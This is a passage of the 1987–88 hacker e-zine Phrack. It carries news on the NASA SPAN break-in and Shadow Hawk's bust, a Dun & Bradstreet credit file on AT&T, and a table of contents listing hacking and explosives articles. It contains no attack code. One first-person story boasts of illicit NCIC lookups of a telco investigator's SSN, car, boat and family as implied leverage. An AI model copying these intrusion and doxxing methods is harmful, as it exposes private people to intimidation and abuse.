‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

D Declined verification

I Indirect

N No record

R Reported, but not verified

S Slow answering

T Terminated

V Verified

X No reply

Hope this helps. Anyone that has used Trans‑Union will surely appreciate this, as the result codes are sometimes hard to decipher.

The Story Of the West German Hackers

#### PHRACK PRESENTS ISSUE 16 #### ^*^*^*^Phrack World News, Part 1^*^*^*^ **** File 8 of 12 ****

>From the 9/16 San Francisco Chronicle, page A19:

GERMAN HACKERS BREAK INTO NASA NETWORK (excerpted)

Bonn

A group of West German computer hobbyists broke into an international computer network of the National Aeronautics and Space Administration and rummaged freely among the data for at least three months before they were discovered, computer enthusiasts and network users said yesterday.

An organization in Hamburg called the Chaos Computer Club, which claimed to be speaking for an anonymous group that broke into the network, said the illicit users managed to install a "Trojan horse," and gain entry into 135 computers on the European network.

A "Trojan Horse" is aterm for a permanentprogramthat enables amateur computer enthusiasts [as opposed to professionals?], or "hackers," to use a password to bypass all the security procedures of a system and gain access to all the data in a target computer.

[Actually, this type of program is a 'back door' or a 'trap door.' The group may very well have *used* a Trojan horse to enable them to create the back door, but it probably wasn't a Trojan horse per se. A Trojan horse is a program that does something illicit and unknown to the user in addition to its expected task.See Phrack xx‑x, "Unix Trojan Horses," for info on how to create a Trojan horse which in turn creates a trap door into someone's account.]

The NASA network that was broken into is called the Space Physics Analysis Network [ooh!] and is chiefly designed to provide authorized scientists and organizations with access to NASA data.The security system in the network was supplied by an American company, the Digital Equipment Corp. [Probably DECNET. Serves them right.]Users said the network is widely used by scientists in the United States, Britain, West Germany, Japan and five other countries and does not carry classified information.

A Chaos club spokesman, Wau Holland, denied that any data had been changed. This, he said, went against "hacker ethics."

West German television reports said that computer piracy carries a penalty of three years in prison in West Germany. The government has not said what it plans to do.

The Chaos club clearly views its break‑in as a major coup. Holland, reached by telephone in Hamburg, said it was "the most successful running of a Trojan horse" to his knowledge, and the club sent a lengthy telex message to news organizations.

It said the "Trojan horse" was spotted by a user in August, and the infiltrating group then decided to go public because "they feared that they had entered the dangerous field of industry espionage, economic crime, EastWest conflict...and the legitimate security interests of high‑tech institutions."

The weekly magazine Stern carried an interview with several anonymous hobbyists who showed how they gained access to the network. One described his excitement when for the first time he saw on his screen, "Welcome to the NASA headquarters VAX installation."

According to Chaos, the hobbyists discovered a gap in the Digital VAX systems 4.4 and 4.5 and used it to install their "Trojan Horse."

[Excerpted and Typed by Shooting Shark.Comments by same.]

The Mad Phone-Man and the Gestapo

#### PHRACK PRESENTS ISSUE 16 #### ^*^*^*^Phrack World News, Part 2^*^*^*^ **** File 9 of 12 ****

[Ed's Note: CertainThings in the article have been blanked (XXXXX) at the request of the author]

The Story of the Feds on XXXXXXX BBS

By The Mad Phone Man

Returninghome one afternoon with a friend, I knew something wasn't right when I walked into the computer room. I see a "Newuser" on the board... and the language he's using is... well "Intimidating"...

"I want you all to know I'm with the OCC task force and we know who you are... we are going to have a little get‑together and 'talk' to you all."

Hmmm... a loser?... I go into chat mode... "Hey dude, what's up?" I ask. "Your number asshole" he says.... Well, fine way to log on to a board if I do say.... "Hey, you know I talked to you and I know who you are.." "Oh yeah...Who am I?." he hesitates and says... "Well uh.. you used to work for Sprint didn't you?"

I say, "No, you've got me confused with someone else I think, I'm a junior in high school."

"Ohyeah?.. You got some pretty big words for a high school kid," he says....

"Well, in case you didn't know, they teach English as a major these days...."

He says... "Do you really want to know which LD company I'm with?" I say "NO, but if it will make you happy, tell me."

He says MCI.(Whew! I don't use them)... "Well you're outta luck asshole, I pay for my calls, and I don't use MCI." He's dumbfounded. I wish him the worst as he asksme toleave his rather threatening post up on my board and we hang up on him.

Now, I'm half paralyzed... hmmm.... Check his info‑form... he left a number in 303... Denver.... I grab the phone and call it.. It's the Stromberg Telephone company... Bingo.. I've got him.

I search my user files and come up with a user called "Cocheese" from there, and I voice validated him, and he said he worked for a small telco called Stromberg... I'm onto him now.

Later in the week, I'm in a telco office in a nearby major city, I happento see a book, marked "Confidential EmployeeNumbers for AT&T." I thumb thru and lo and behold, an R.F. Stromberg works at an office of AT&T in Denver, and I can't cross reference him to an office. (A sure sign he's in security). Well, not to be out‑done by this loser... I dial up NCIC and check for a group search fora driver's licence for him... Bingo. Licence number, cars he owns, his SS number, and a cross reference of the licence files finds his wife, two kids and a boat registered to him.

I've never called him back, but If I do have any trouble with him, I'm

Flight of the Mad Phone-Man

#### PHRACK PRESENTS ISSUE 16 #### ^*^*^*^Phrack World News, Part 3^*^*^*^ **** File 10 of 12 ****

[Ed's Note: Certain names have been change in the article to protect the author]

The Flight of The Mad Phone‑Man's BBS to a Friendly Foreign Country

Using my knowledge that the pigs grab your computer when they bust you,I got real worried about losing a BIG investment I've got in my IBM. I decidethere's a better way.... Move it! But where? Where's safe from the PhBI? Well in the old days, to escape the draft, you went to Canada, why not expatriate my board....Well the costs of a line are very high, let's see what's available elsewhere.

One afternoon, I'm working at a local hospital,(one I do telecom work for) and I ask the comm mgr if theyhave any links to Canada? He says why yes, we have an inter‑medical link over a 23ghz microwave into the city just across the border. I ask to see the equipment.WOW! My dreams come true, it's a D4 bank (Rockwell) and it's only got 4 channel cards in it. Now, being a "nice" guy, I offer to do maintenance on this equipment if he would let me put up another channel...he agrees. The plot thickens.

I've got a satellite office for a business near the hospital on the other side, I quickly call up good ole Bell Canada, and have them run a 2 wire line from the equipment room to my office. Now the only thing to get is a couple of cards to plug into the MUX to put me on the air.

A 2 wire E&M card goes for bout $319, and I'd need two.Ilook around the state, and find one bad one in Rochester.... I'm on my way that afternoon via motorcycle.The card is mine, and the only thing I can find wrong is a bad voltage regulator. I stop by the Rockwell office in suburban Rochester and exchange the card, while I'm there, I buy a second one (Yeah, on my card) and drive home.... by 9pm that night the circuit is up, and we are on the air. Results‑ Very good line, no noise, can be converted with another card for a modest fee if I want the bandwidth. So that's the story of how the board went to a "friendly foreign country."

Shadow Hawk Busted Again

#### PHRACK PRESENTS ISSUE 16 #### ^*^*^*^Phrack World News, Part 4^*^*^*^ **** File 11 of 12 ****

Shadow Hawk Busted Again ========================

As many of you know, Shadow Hawk (a/k/a Shadow Hawk 1) had his home searched by agents of the FBI, Secret Service, and the Defense Criminal Investigative Services and had some of his property confiscated by them on September 4th.We're not going to reprint the Washington Post article as it's available through other sources. Instead, a summary:

In early July, SH bought an AT&T 3B1 ("Unix PC") with a 67MB drive for a dirt‑cheap $525. He got Sys V 3.5 for another $200 but was dissatisfied with much of the software they gave him (e.g. they gave him uucp version 1.1).

When he was tagged by the feds, he had been downloading software (in the form of C sources) from various AT&T systems. According to reports, these included the Bell Labs installations at Naperville, Illinois and Murray Hill, New Jersey. Prosecutors said he also gained entry to (and downloaded software from) AT&T systems at a NATO installation in Burlington, North Carolina and Robins AFB in Georgia.AT&T claims he stole $1 million worth of software. Some of it was unreleased software taken from the Bell Labs systems that was given hypothetical price tags by Bell Labs spokespersons. Agents took his 3B1, two Atari STs he had in his room, and several diskettes.

SH is 17 and apparently will be treated as a minor. At the time of this writing, he will either be subject to federal prosecution for 'computer theft' or will be subject to prosecution only by the State of Illinois.

SH's lawyer, Karen Plant, was quoted as saying that SH "categorically denies doing anything that he should not have been doing" and that he "had absolutely no sinister motives in terms of stealing property."As we said, he was just collecting software for his new Unix PC. When I talked to Ms. Plant on September 25th, she told me that she had no idea if or when the U.S. Attorney would prosecute. Karen Plant can be reached at (312) 263‑1355. Her address is 134 North LaSalle, #306, Chicago, Illinois.

‑‑‑‑‑‑‑‑‑

On July 9th SH wrote:

So you see, I'm screwed. Oh yeah, even worse! In my infinite (wisdom || stupidity, take your pick 8‑)) I set up a local AT&T owned 7300 to call me up and send me their uucp files (my uucp works ok for receive) and guess what. I don't think I've to elaborate further on THAT one... (holding my breath, so to type)

(_>Sh<_

Coin Box Thief Wanted

#### PHRACK PRESENTS ISSUE 16 #### ^*^*^*^Phrack World News, Part 5^*^*^*^ **** File 12 of 12 ****

"Phone Companies Across U.S. Want Coins Box Thief's Number" From the Tribune ‑ Thursday, Nov. 5, 1987

SAN FRANCISCO‑ Seven telephone companiesacrossthe country, including Pacific Bell, are so frazzled by a coin box thief that they are offering a reward of $25,000 to catch him.

He's very clever, telephone officials say, and is the only known suspect in the countrythat isable to pick the locks on coin boxes in telephone booths with relative ease.

He is believed responsible for stealing hundreds of thousands of dollars from coin boxes in the Bay Area and Sacramento this year.

The suspect has been identified by authorities as James Clark, 47, of Pennisula, Ohio, amachinist andtool‑and‑die maker, who is believed responsible for coin box thefts in 24 other states.

Other companies sharing in the reward are Ohio Bell, Southern Bell, South Carolina Bell, South Central Bell, Southwestern Bell, Bell Telephone of Pennsylvania and U.S. West.

Clarkallegedly hitpay phones that arenear freeways and other major thoroughfares. Clark, described as5 feet 9 inches tall, with shoulder length brown hair and gold‑rimmed glasses, is reported to be driving a new Chevrolet Astro van painted a dark metallic blue.

He was recently in Arizona but is believed to be back in California.

Written by a Tribune Staff Writer

Typed by the $muggler

17

- Phrack XVII Introduction by Shooting Shark

- Dun & Bradstreet Report on AT&T by Elric of Imrryr

- D&B Report on Pacific Telesis by Elric of Imrryr

- Nitrogen-Trioxide Explosive by Signal Substain

- How to Hack Cyber Systems by Grey Sorcerer

- How to Hack HP2000's by Grey Sorcerer

- Accessing Government Computers by The Sorceress

- Dial-Back Modem Security by Elric of Imrryr

- Data Tapping Made Easy by Elric of Imrryr

- PWN17.1 Bust Update by Sir Francis Drake

- PWN17.2 Illegal Hacker Crackdown by The $muggler

- PWN17.3 Cracker are Cheating Bell by The Sorceress

Phrack XVII Introduction

% = % = % = % =

=

% P h r a c k X V I I %

=

% = % = % = % =

Phrack Seventeen

07 April 1988

File 1 of 12 : Phrack XVII Introduction

It's been a long time, but we're back. After two successful releases under the new editorship, Taran King told us that with his vacation from school, he'd be able to put Phrack Seventeen together. His plans soon changed, and Seventeen was now our responsibility again. Procrastination set in, and some difficulty was encountered in compiling the files, but we finally did it and here it is.

There's a lot of good material in this issue, and we're lucky enough to have PWN contributions from several sources, making it a true group effort. Since The Mad Chemist and Sir Francis Drake, as well as myself, are moving on to other things, the editorship of Phrack Inc. may be changing with the release of Phrack Eighteen. Regardless of what direction the publication takes, I know that I will have no part in the creation of the next issue, so I'd like to mention at this time that my involvement with the magazine, first as a contributor and later as a contributing editor, has been fun. Phrack will go on, I'm sure, for another seventeen issues at least, and will continue to be a primary monument to the vitality of the hacker culture.

Shooting Shark

Contributing Editor

Phrack XVII Table of Contents

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

# Title Author Size

‑‑‑‑ ‑‑‑‑‑

17.1 Phrack XVII Introduction Shooting Shark 3K 17.2 Dun & Bradstreet Report on AT&T Elric of Imrryr 24K 17.3 D&B Report on Pacific Telesis Elric of Imrryr 26K 17.4 Nitrogen‑Trioxide Explosive Signal Substain 7K 17.5 How to Hack Cyber Systems Grey Sorcerer 23K 17.6 How to Hack HP2000's Grey Sorcerer 3K 17.7 Accessing Government Computers The Sorceress 9K 17.8 Dial‑Back Modem Security Elric of Imrryr 11K 17.9 Data Tapping Made Easy Elric of Imrryr 4K 17.10 PWN17.1 Bust Update Sir Francis Drake 3K 17.11 PWN17.2 "Illegal" Hacker Crackdown The $muggler 5K 17.12 PWN17.3 Cracker are Cheating Bell The Sorceress 8K

Dun & Bradstreet Report on AT&T

% = % = % = % =

=

% P h r a c k X V I I %

=

% = % = % = % =

Phrack Seventeen

07 April 1988

File 2 of 12 : Dun & Bradstreet Report on AT&T

AT&T Credit File, taken from Dun & Bradstreet by Elric of Imrryr

DUN'S FINANCIAL RECORDS COPYRIGHT (C) 1987 DUN & BRADSTREET CREDIT SERVICE

Name & Address:

AMERICAN TELEPHONE AND TELEGRAPH Trade‑Style Name: 550 Madison Ave AT & T NEW YORK, NY 10022

Telephone: 212‑605‑5300

DUNS Number: 00‑698‑0080

Line of Business: TELECOMMUNICATIONS SVCS TELE

Primary SIC Code: 4811

Secondary SIC Codes: 4821 3661 3357 3573 5999

Year Started: 1885 (12/31/86) COMBINATION FISCAL Employees Total: 317,000 Sales: 34,087,000,000 Employees Here: 1,800 Net Worth: 14,462,000,000

This is a PUBLIC company

12/31/86 COMBINATION FISCAL

(Figures are in THOUSANDS)

FINANCIALS COMPANY INDST

COMPANY CHANGE % NORM %

Cash. . . . . . . . . . . . . 2,602,000 17.5 6.7 9.0

Accounts Receivable . . . . . 7,820,000 (13.1) 20.1 5.7

Notes Receivable. . . . . . . ‑‑‑‑ ‑‑‑‑ 0.2

Inventory . . . . . . . . . . 3,519,000 (26.1) 9.1 1.3 Other Current Assets. . . . . 1,631,000 72.0 4.2 5.8

Total Current Assets. . . . . 15,572,000 (8.0) 40.0 22.0

Fixed Assets. . . . . . . . . 21,078,000 (4.7) 54.2 35.6 Other Non‑current Assets. . . 2,233,000 55.9 5.7 42.4

Total Assets. . . . . . . . . 38,883,000 (3.9) 100.0 100.0

Accounts Payable. . . . . . . 4,625,000 (6.4) 11.9 4.2

Bank Loans. . . . . . . . . . ‑‑‑‑ ‑0.2

Notes Payable . . . . . . . . ‑‑‑‑ ‑‑‑‑1.0

Other Current Liabilities . . 6,592,000 0.8 17.0 6.2

Total Current Liabilities . . 11,217,000 (2.4) 28.8 11.6

Other Long Term Liab. . . . . 13,204,000 38.2 34.0 46.8

Deferred Credits. . . . . . . ‑‑‑‑ ‑‑‑‑ 6.4

Net Worth . . . . . . . . . . 14,462,000 (1.2) 37.2 35.2

Total Liabilities & Worth. . 38,883,000 (3.9) 100.0 100.0

Net Sales . . . . . . . . . . 34,087,000 (2.4) 100.0 100.0 Gross Profit. . . . . . . . . 15,838,000 ‑‑‑‑ 46.5 40.1 Net Profit After Tax. . . . . 139,000 (91.1) 0.4 15.3 Dividends/Withdrawals . . . . 1,371,000 (0.9) 4.0 7.7 Working Capital . . . . . . . 4,355,000 (19.8) ‑‑‑‑ ‑‑‑‑

RATIOS % INDUSTRY QUARTILES‑‑‑

COMPANY CHANGE UPPER MEDIAN LOWER

(SOLVENCY)

Quick Ratio . . . . . . . . . 0.9 (10.0) 2.9 1.2 0.6 Current Ratio . . . . . . . . 1.4 (6.7) 4.9 2.2 1.0 Curr Liab to Net Worth (%). . 77.6 (1.1) 13.2 26.4 38.1 Curr Liab to Inventory (%). . 318.8 32.1 244.8 475.8 675.0 Total Liab to Net Worth (%) . 168.9 (4.3) 127.4 180.2 297.2 Fix Assets to Net Worth (%) . 145.7 (3.6) 144.9 215.0 263.0

(EFFICIENCY)

Coll Period (days). . . . . . 83.7 (11.1) 31.9 46.7 61.6 Sales to Inventory. . . . . . 9.7 32.9 56.2 33.8 20.0 Assets to Sales (%) . . . . . 114.1 (1.6) 210.5 266.1 373.4 Sales to Net Working Cap. . . 7.8 21.9 6.3 2.3 1.1 Acct Pay to Sales (%) . . . . 13.6 (4.2) 4.9 8.7 13.8

(PROFITABILITY)

Return on Sales (%) . . . . . 0.4 (91.1) 20.1 14.6 11.3 Return on Assets (%). . . . . 0.4 (89.5) 7.2 5.7 3.7 Return on Net Worth (%) . . . 1.0 (90.6) 19.0 15.9 12.8

Industry norms based on 469 firms,

with assets over $5 million.

12/31/85 COMBINATION FISCAL

(Figures are in THOUSANDS)

FINANCIALS COMPANY INDST

COMPANY CHANGE % NORM %

Cash. . . . . . . . . . . . . 2,213,700 3.4 5.5 7.5

Accounts Receivable . . . . . 8,996,100 (4.0) 22.2 5.6

Notes Receivable. . . . . . . ‑‑‑‑ ‑‑‑‑ 0.4

Inventory . . . . . . . . . . 4,759,300 (0.6) 11.8 1.2 Other Current Assets. . . . . 948,500 (8.2) 2.3 5.1

Total Current Assets. . . . . 16,917,600 (2.4) 41.8 19.8

Fixed Assets. . . . . . . . . 22,112,900 5.2 54.7 39.2 Other Non‑current Assets. . . 1,432,000 (3.2) 3.5 41.0

Total Assets. . . . . . . . . 40,462,500 1.6 100.0 100.0

Accounts Payable. . . . . . . 4,942,800 (11.4) 12.2 4.9

Bank Loans. . . . . . . . . . ‑‑‑‑ ‑0.3

Notes Payable . . . . . . . . 2,100 ‑‑‑‑ ‑‑‑‑ 0.8 Other Current Liabilities . . 6,542,600 15.5 16.2 5.9

Total Current Liabilities . . 11,487,500 2.2 28.4 11.9

Other Long Term Liab. . . . . 9,553,200 2.7 23.6 46.8 Deferred Credits. . . . . . . 4,788,500 18.9 11.8 6.8 Net Worth . . . . . . . . . . 14,633,300 (4.1) 36.2 34.5

Total Liabilities & Worth. . 40,462,500 1.6 100.0 100.0

Net Sales . . . . . . . . . . 34,909,500 5.2 100.0 100.0

Gross Profit. . . . . . . . . ‑‑‑‑ ‑‑‑33.7

Net Profit After Tax. . . . . 1,556,800 13.6 4.5 14.0 Dividends/Withdrawals . . . . 1,382,900 3.7 4.0 13.0 Working Capital . . . . . . . 5,430,100 (10.8) ‑‑‑‑ ‑‑‑‑

RATIOS % INDUSTRY QUARTILES‑‑

COMPANY CHANGE UPPER MEDIAN LOWER

(SOLVENCY)

Quick Ratio . . . . . . . . . 1.0 ‑‑‑‑ 2.5 1.1 0.6 Current Ratio . . . . . . . . 1.5 ‑‑‑‑ 3.8 1.9 0.9 Curr Liab to Net Worth (%). . 78.5 6.5 15.8 29.4 43.9 Curr Liab to Inventory (%). . 241.4 2.8 285.7 485.5 790.6 Total Liab to Net Worth (%) . 176.5 9.6 134.4 190.1 320.9 Fix Assets to Net Worth (%) . 151.1 9.7 148.4 219.0 289.5

(EFFICIENCY)

Coll Period (days). . . . . . 94.1 (8.7) 31.5 47.2 63.8 Sales to Inventory. . . . . . 7.3 5.8 52.3 31.4 18.0 Assets to Sales (%) . . . . . 115.9 (3.4) 217.1 277.8 356.8 Sales to Net Working Cap. . . 6.4 16.4 6.0 2.7 1.6 Acct Pay to Sales (%) . . . . 14.2 (15.5) 6.1 10.4 15.7

(PROFITABILITY)

Return on Sales (%) . . . . . 4.5 9.8 19.0 13.6 9.5 Return on Assets (%). . . . . 3.8 11.8 6.9 5.3 3.4 Return on Net Worth (%) . . . 10.6 17.8 19.7 15.8 12.7

Industry norms based on 605 firms,

with assets over $5 million.

12/31/84 COMBINATION FISCAL

(Figures are in THOUSANDS)

FINANCIALS COMPANY INDST

COMPANY % NORM %

Cash. . . . . . . . . . . . . 2,139,900 5.4 6.6

Accounts Receivable . . . . . 9,370,800 23.5 6.3

Notes Receivable. . . . . . . ‑‑‑‑ ‑‑‑‑ 0.4

Inventory . . . . . . . . . . 4,789,200 12.0 1.2 Other Current Assets. . . . . 1,033,100 2.6 4.1

Total Current Assets. . . . . 17,333,000 43.5 18.6

Fixed Assets. . . . . . . . . 21,015,000 52.8 45.0 Other Non‑current Assets. . . 1,478,600 3.7 36.4

Total Assets. . . . . . . . . 39,826,600 100.0 100.0

Accounts Payable. . . . . . . 5,580,300 14.0 5.2

Bank Loans. . . . . . . . . . ‑‑‑‑ ‑0.2

Notes Payable . . . . . . . . ‑‑‑‑ ‑‑‑‑1.0

Other Current Liabilities . . 5,663,300 14.2 5.5

Total Current Liabilities . . 11,243,600 28.2 11.9

Other Long Term Liab. . . . . 9,300,200 23.4 47.8 Deferred Credits. . . . . . . 4,026,000 10.1 6.5 Net Worth . . . . . . . . . . 15,256,800 38.3 33.8

Total Liabilities & Worth. . 39,826,600 100.0 100.0

Net Sales . . . . . . . . . . 33,187,500 100.0 100.0 Gross Profit. . . . . . . . . 16,436,200 49.5 28.1 Net Profit After Tax. . . . . 1,369,900 4.1 14.1 Dividends/Withdrawals . . . . 1,333,800 4.0 7.3 Working Capital . . . . . . . 6,089,400 ‑‑‑‑ ‑‑‑‑

RATIOS ‑‑‑INDUSTRY QUARTILES‑‑‑

COMPANY UPPER MEDIAN LOWER

(SOLVENCY)

Quick Ratio . . . . . . . . . 1.0 2.3 1.0 0.6 Current Ratio . . . . . . . . 1.5 3.4 1.6 0.9 Curr Liab to Net Worth (%). . 73.7 17.7 30.6 43.5 Curr Liab to Inventory (%). . 234.8 312.5 491.6 754.3 Total Liab to Net Worth (%) . 161.0 139.2 193.7 314.9 Fix Assets to Net Worth (%) . 137.7 161.5 228.9 295.3

(EFFICIENCY)

Coll Period (days). . . . . . 103.1 34.3 51.6 67.8 Sales to Inventory. . . . . . 6.9 52.1 32.6 20.1 Assets to Sales (%) . . . . . 120.0 216.7 268.2 353.0 Sales to Net Working Cap. . . 5.5 7.2 3.1 1.7 Acct Pay to Sales (%) . . . . 16.8 6.2 10.9 15.4

(PROFITABILITY)

Return on Sales (%) . . . . . 4.1 18.5 13.1 9.8

Return on Assets (%). . . . . 3.4 7.0 5.3 3.3 Return on Net Worth (%) . . . 9.0 19.7 15.7 12.6

Industry norms based on 504 firms,

with assets over $5 million.

END OF DOCUMENT

Name & Address:

AMERICAN TELEPHONE AND Trade‑Style Name: 550 Madison Ave At & T

NEW YORK, NY 10022

Telephone: 212‑605‑5300

DUNS Number: 00‑698‑0080

Line of Business: TELECOMMUNICATIONS SVCS TELE

Primary SIC Code: 4811

Secondary SIC Codes: 4821 3661 3357 3573 5999

Year Started: 1885 (12/31/86) COMBINATION FISCAL Employees Total: 317,000 Sales: 34,087,000,000 Employees Here: 1,800 Net Worth: 14,462,000,000

This is a PUBLIC company

HISTORY

04/20/87

JAMES E. OLSON, CHB‑CEO+ ROBERT E. ALLEN, PRES‑COO+ RANDALL L TOBIAS, V CHM+ CHARLES MARSHALL, V CHM+ MORRIS TANENBAUM, V CHM+ S. LAWRENCE PRENDERGAST, V PRES‑

TREAS

C. PERRY COLWELL, V PRES‑

CONTROLLER

DIRECTOR(S): The officers identified by (+) and Howard H. Baker Jr, James H. Evans, Peter F. Haas, Philip M. Hawley, Edward G. Jefferson, Belton K. Johnson, Juanita M. Kreps, Donald S. Perkins, Henry B. Schacht, Michael I. Sovern, Donald F. McHenry, Rawleigh Warner Jr, Joseph D. Williams and Thomas H. Wyman. Incorporated New York Mar 3 1885. Authorized capital consists of 1,200,000,000 shares common stock $1 par value and 100,000,000 shares preferred stock $1 par value. Outstanding Capital Stock at Feb 28 1987: 1,071,904,000 common shares and at Dec 31 1986 preferred stock outstanding consisted of redeemable preferred shares composed of 8,500,000 shares of $3.64 preferred stated value $50; 8,800,000 shares of $3.74 preferred, stated value $50 and 25,500 shares of $77.50 preferred, stated value $1,000. Business started 1885.

The company's common stock is listed on the New York, Boston, Midwest, Philadelphia and Pacific Coast Stock Exchanges under the symbol "ATT". At Dec 31 1986 there were 2,782,102 common shareholders. At Jan 1 1986 officers and directors as a group owned less than 1% of the outstanding common stock with the remainder owned by the public. OLSON, born 1925. 1950 Univ of North Dakota, BSC. Also attended Univ of Pennsylvania. 1943‑1946 United States Army Air Force. 1960‑1970 Northwestern Bell Telephone Co, V Pres‑Gen Mgr. 1970‑1974 Indiana Bell Telephone Co, Pres. 1974‑1977 Illinois Bell Telephone Co, Pres. 1977 to date AT&T, 1979 V Chb‑Dir; Jun 1985 President, 1986 CHM. MARSHALL, born 1929, married. 1951 Univ of Illinois, BS; also attended Bradley Univ; 1953‑present AT&T; 1980 Asst Treas, 1976 Vice Pres‑Treas; 1985 Exec Vice President, 1986 V‑CHM. TANENBAUM, born 1928 married. 1949 Johns Hopkins Univ, BA chemistry. 1950 Princeton Univ, MA chemistry. 1952 PhD in physical chemistry. 1952 to date AT&T, various positions, 1985 Ex Vice Pres, 1986 V‑CHM.

PRENDERGAST, born 1941 married. 1963 Brown Univ, BA. 1969 New York Univ, MBA. 1963‑1973 Western Electric Company; 1973 to date AT&T, 1980 Asst Treas, 1984 V Pres‑Treas.

COLWELL, born 1927. Attended AT&T Institute of Technology. 1945‑1947 U S Army. Employed by AT&T and its subsidiaries since 1948 in various positions. 1984 Vice Pres & Contr, AT&T Technologies Inc (subsidiary); 1985‑present V Pres‑Contr.

ALLEN born 1935 married. 1957 Wabash College BA. Has held a vareity of executive position with former Bell Operating subsidiaries and AT&T subsidiaries. Appointed to current position in 1986. TOBIAS born 1943. 1964 Indiana University with a BS in Marketing. Has held a variety of management and executive positions with former Bell Operating subsidiaries and AT&T subsidiaries. Elected to current position in 1986.

OTHER OFFICERS: James R. Billingsley, Sr V Pres Federal Regulation; Michael Brunner, Ex V Pres Federal Systems; Harold Burlingame, Sr V Pres Public Relations and Employee Information; Vittorio Cassoni, Sr V Pres Data Systems Division; Richard Holbrook, Sr V Pres Business Sales; Robert Kavner, Sr V Pres & CFO; Gerald Lowrie, Sr V Pres Public Affairs; John Nemecek, Ex V Pres Components & Electronic Systems; John O'Neill, Ex V Pres National Systems Products; Alfred Partoll, Sr V Pres External Affairs; John Segall, Sr V Pres Corporate Strategy & Development; Alexander Stack, Sr V Pres Communications Systems; Paul Villiere, Ex V Pres Network Systems Marketing and Customer Operations; John Zegler, Sr V Pres and General Counsel; and Lydell Christensen, Corp V Pres and Secretary. DIRECTORS: MCHENRY, research professor, Georgetown University. BAKER JR, partner, Vinson & Elkins and Baker, Worthington, Crossley, Stansberry & Woolf, attorneys. EVANS, former Chairman, Union Pacific Corporation. HAAS, Chairman, Levi Strauss & Company. HAWLEY, Chairman, Carter Hawley Hale Stores Inc. JEFFERSON, former Chairman, E.I. du Pont de Nemours and Company. JOHNSON, private investor and owner of The Chaparrosa Ranch. KREPS, former United States Secretary of Commerce. PERKINS, former Chairman, Jewel Companies Inc. SCHACHT, Chairman, Cummins Engine Company Inc. SOVERN, President, Columbia University. WARNER JR, former Chairman, Mobil Corporation. WILLIAMS, Chairman, Warner Lambert Company. WYMAN, former Chairman, CBS Inc. As a result of an antitrust action entered against American Telephone and Telegraph Company (AT&T) by the Department of Justice, AT&T agreed in Jan 1982 to break up its holdings. In Aug 1982, the U. S. District Court‑District of Columbia, entered a consent decree requiring AT&T to divest itself of portions of its operations. The operations affected consisted of exchange telecommunications, exchange access functions, printed directory services and cellular radio telecommunications services. AT&T retained ownership of AT&T Communications Inc, AT&T Technologies Inc, Bell Telephone Laboratories Incorporated, AT&T Information Systems Inc, AT&T International Inc and those portions of the 22 Bell System Telephone Company subsidiaries which manufactured new customer premises equipment. The consent decree, with modifications, was agreed to by AT&T and the U. S. Department of Justice and approved by the U. S. Supreme Court in Feb 1983. In Dec 1982, AT&T filed a plan of reorganization, outlining the means of compliance with the divestiture order. The plan was approved by the court in Aug 1983

The divestiture completed on Jan 1 1984, was accomplished by the reorganization of the 22 principal AT&T Bell System Telephone Company subsidiaries under 7 new regional holding companies. Each AT&T common shareowner of record as of Dec 10 1983 received 1 share of common stock in each of the newly formed corporations for every 10 common shares of AT&T. AT&T common shareowners retained their AT&T stock ownership. The company has an ownership interest in certain ventures to include:

(1) Owns 22% of the voting stock of Ing C. Olivetti & C., S.p.A. of Milan, Italy with which the company develops and markets office automation products in Europe.

(2) Owns 50% of a joint venture with the N. V. Philips Company of the Netherlands organized to manufacture and market switching and transmission systems in Europe and elsewhere. (3) Owns 44% of a joint venture with the Goldstar Group of the Republic of Korea which manufactures switching products and distributes the company's 3B Family of Computers in Korea. The company also maintain stock interests in other concerns. In addition to joint venture activities described above, intercompany relations have also included occasional advances from subject.

OPERATION

04/20/87

Through subsidiaries, provides intrastate, interstate and international long distance telecommunications and information transport services, a broad range of voice and data services including, Domestic and Long Distance Service, Wide Area Telecommunications Services (WATS), 800 Service, 900 Dial It Services and a series of low, medium and high speed digital voice and data services known as Accunet Digital Services. Also manufactures telephone communications equipment and apparatus, communications wire and cable, computers for use in communications systems, as well as for general purposes, retails and leases telephone communications equipment and provides research and development in information and telecommunications technology. The company is subject to the jurisdiction of the Federal Communications Commission with respect to interstate and international rates, lines, services and other matters. Terms: Net 30, cash and contract providing for progress payments with final payment upon completion. The company's AT&T Communications Inc subsidiary provides interstate and intrastate long distance communications services for 80 million residential customers and 7 million businesses. Sells to a wide variety of businesses, government agencies, individuals and others. Nonseasonal. EMPLOYEES: 317,000 including officers. 1,800 employed here. FACILITIES: Owns premises in multi story steel building in good condition. Premises neat.

LOCATION: Central business section on main street. BRANCHES: The company's subsidiaries operate 19 major manufacturing plants located throughout the United States containing a total 26.2 million square feet of space of which 1.49 million square feet were in leased premises. There are 7 regional centers and 24 distribution centers. In addition, there are numerous domestic and foreign branch offices.

SUBSIDIARIES: The company had numerous subsidiaries as of Dec 31 1986. Subsidiaries perform the various services and other functions described above. Its unconsolidated finance subsidiary, AT&T Credit Corporation, provides financing to customers through leasing and installment sales programs and purchases from AT&T's subsidiaries the rights to receivables under long‑term service agreements. Intercompany relations consists of parent making occasional advances to subsidiaries and service transactions settled on a convenience basis. A list of principal subsidiaries as of Dec 31 1986 is on file at the Millburn, NJ office of Dun & Bradstreet.

08‑27(9Z0 /61) 00703 001 678 NH

Chemical Bank, 277 Park Ave; Marine Midland Bank, 140 Broadway; Chase Manhattan Bank, 1 Chase Manhattan Plaza

12/31/86 COMBINATION FISCAL

(Figures are in THOUSANDS)

FINANCIALS COMPANY INDST

COMPANY CHANGE % NORM %

Total Current Assets. . . . . 15,572,000 (8.0) 40.0 22.0 Fixed Assets. . . . . . . . . 21,078,000 (4.7) 54.2 35.6 Other Non‑current Assets. . . 2,233,000 55.9 5.7 42.4 Total Assets. . . . . . . . . 38,883,000 (3.9) 100.0 100.0 Total Current Liabilities . . 11,217,000 (2.4) 28.8 11.6 Other Long Term Liab. . . . . 13,204,000 38.2 34.0 46.8 Net Worth . . . . . . . . . . 14,462,000 (1.2) 37.2 35.2 Total Liabilities & Worth. . 38,883,000 (3.9) 100.0 100.0 Net Sales . . . . . . . . . . 34,087,000 (2.4) 100.0 100.0 Gross Profit. . . . . . . . . 15,838,000 ‑‑‑‑ 46.5 40.1

RATIOS % INDUSTRY QUARTILES‑‑

